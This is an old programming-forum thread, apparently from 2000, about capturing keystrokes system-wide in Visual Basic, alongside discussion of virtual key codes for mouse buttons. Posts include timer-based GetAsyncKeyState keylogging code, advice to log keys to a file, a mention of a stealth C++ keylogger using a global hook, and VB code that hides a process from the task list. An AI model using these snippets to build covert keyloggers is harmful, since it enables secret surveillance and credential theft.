|
-
Oct 10th, 2000, 04:25 AM
#1
Thread Starter
Lively Member
Can a program listen to every keystroke you made, even if it is another program that is active, like a macrorecorder?
-
Oct 10th, 2000, 06:11 AM
#2
Use the GetAsyncKeyState api function.
Code:
Private Declare Function GetAsyncKeyState _
Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
Dim i As Integer
For i = 3 To 255
If GetAsyncKeyState(i) Then Debug.Print Chr(i)
Next
End Sub
-
Oct 10th, 2000, 03:01 PM
#3
Setting the Timer to 1 will record to fast. Set it to 100 instead.
-
Oct 10th, 2000, 05:27 PM
#4
Not always Megatron, not if you are a fast typer. Maybe the interval set at 10 or 50? I know you know that 0 to 255 also includes the mouse. Well, have you noticed that if you don't have it directly set at 3 to 255, and you are printing to the Debug Window, it goes crazy with the square boxes. But, as you already noticed, 0 to 2 is mouse buttons and without them, the Debug Window is normal.
-
Oct 11th, 2000, 02:33 PM
#5
I beg to differ.
A) When making a Key-logger, you go by average typing. There are people who type at speed 10 and people who type at speed 200. After doing several tests, 100 seems like the reasonable number.
B) When making a key logger, don't print to the debug window. Print to a file
C) 0 is not a mouse button. It's 1, 2 and 3, which represent Left, Middle and Right respectivly.
-
Oct 11th, 2000, 04:41 PM
#6
So it's 0 that's causing all this trouble?
And 1-3 is not?
And printing to the debug window..was just an example.
-
Oct 11th, 2000, 04:59 PM
#7
Correct. If you log key 0, then things will tend to 'screw up'.
-
Oct 12th, 2000, 02:29 PM
#8
transcendental analytic
BTW, the timer won't fire the event less than in 53 ms
Use  
writing software in C++ is like driving rivets into steel beam with a toothpick.
writing haskell makes your life easier:
reverse (p (6*9)) where p x|x==0=""|True=chr (48+z): p y where (y,z)=divMod x 13
To throw away OOP for low level languages is myopia, to keep OOP is hyperopia. To throw away OOP for a high level language is insight.
-
Oct 13th, 2000, 03:55 AM
#9
Junior Member
installing a hook is much better...
in my opinion GetAsyncKeyState isn't a good way to realize a key logger! i wrote a really cool stealth key logger in c++ which installed a global system hook using a API function the name i don't know at this time (maybe SetWindowsHookEx)...
this logger worked PERFECTLY and logged ALL keys you pressed, at every typing speed... i think this is the way the macrorecoders work...
Currently using VB6 Enterprise, but VC++ is much better for API (  )!
-
Oct 14th, 2000, 03:41 AM
#10
Thread Starter
Lively Member
Please
I would like to have it, please give a link to it, or send it to me at: [email protected]
please tell me the declaration syntax, so I can declare the function.
-
Oct 14th, 2000, 10:06 AM
#11
Junior Member
as i said, i wrote this app in c++! this program can't be written in visual basic cause you need a real multithreading app...
if you're interested in the stealth functions of my app, i need to say that even this can't be done in basic. the stealth functions hack the export table of some system dlls like kernel32 etc. this code (it's more than 400 lines c++ code!) is really really difficult... i stole it from bo2k, goto www.bo2k.com and download the source code... it took me some days to extract the stealth code but now it works... hahaha...............
if you want to hide an app from the task list in visual basic you need to do a registerserviceprocess call:
Code:
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
Public Sub HideApp()
Dim pid As Long
Dim regserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
Public Sub ShowApp()
Dim pid As Long
Dim regserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub
Currently using VB6 Enterprise, but VC++ is much better for API (  )!
-
Oct 18th, 2000, 01:38 PM
#12
Fanatic Member
Meg, VBAPI.COM says that LBUTTON=1, RBUTTON=2 and MBUTTON=4.
http://www.vbapi.com/ref/other/virtualkeycodes.html
-
Oct 18th, 2000, 02:15 PM
#13
Isn't the middle mouse button = 3?
Or you could just do it this way:
Code:
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbLeftButton) Then Caption = "Left"
If GetAsyncKeyState(vbMiddleButton) Then Caption = "Middle"
If GetAsyncKeyState(vbRightButton) Then Caption = "Right"
End Sub
And did anyone ever see the new mouse with 4 buttons. Wonder how you detect that forth button. Or is that what 4 is equal to?
-
Oct 19th, 2000, 12:16 PM
#14
Junior Member
hey guys, you should take a look at VC++ include file 'winuser.h':
Code:
.
.
.
#define VK_LBUTTON 0x01
#define VK_RBUTTON 0x02
#define VK_CANCEL 0x03
#define VK_MBUTTON 0x04 /* NOT contiguous with L & RBUTTON */
.
.
.
as you can see 0x3 (or &H3 in VB) is used for the CANCEL (=ESCAPE) key!
if you take a look at 'VBCONST.BAS' (search MSDN for that), is says the same:
Code:
.
.
.
Global Const KEY_LBUTTON = &H1
Global Const KEY_RBUTTON = &H2
Global Const KEY_CANCEL = &H3
Global Const KEY_MBUTTON = &H4 ' NOT contiguous with L & RBUTTON
.
.
.
i hope, this was a little help!
Currently using VB6 Enterprise, but VC++ is much better for API (  )!
-
Oct 19th, 2000, 02:05 PM
#15
Fanatic Member
I agree with Matthew.
VB has a lot of built-in constants, so why not using them thoroughly?
It makes our code more readable.
-
Oct 19th, 2000, 02:23 PM
#16
Matthew Gates: No, the middle button is 4.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|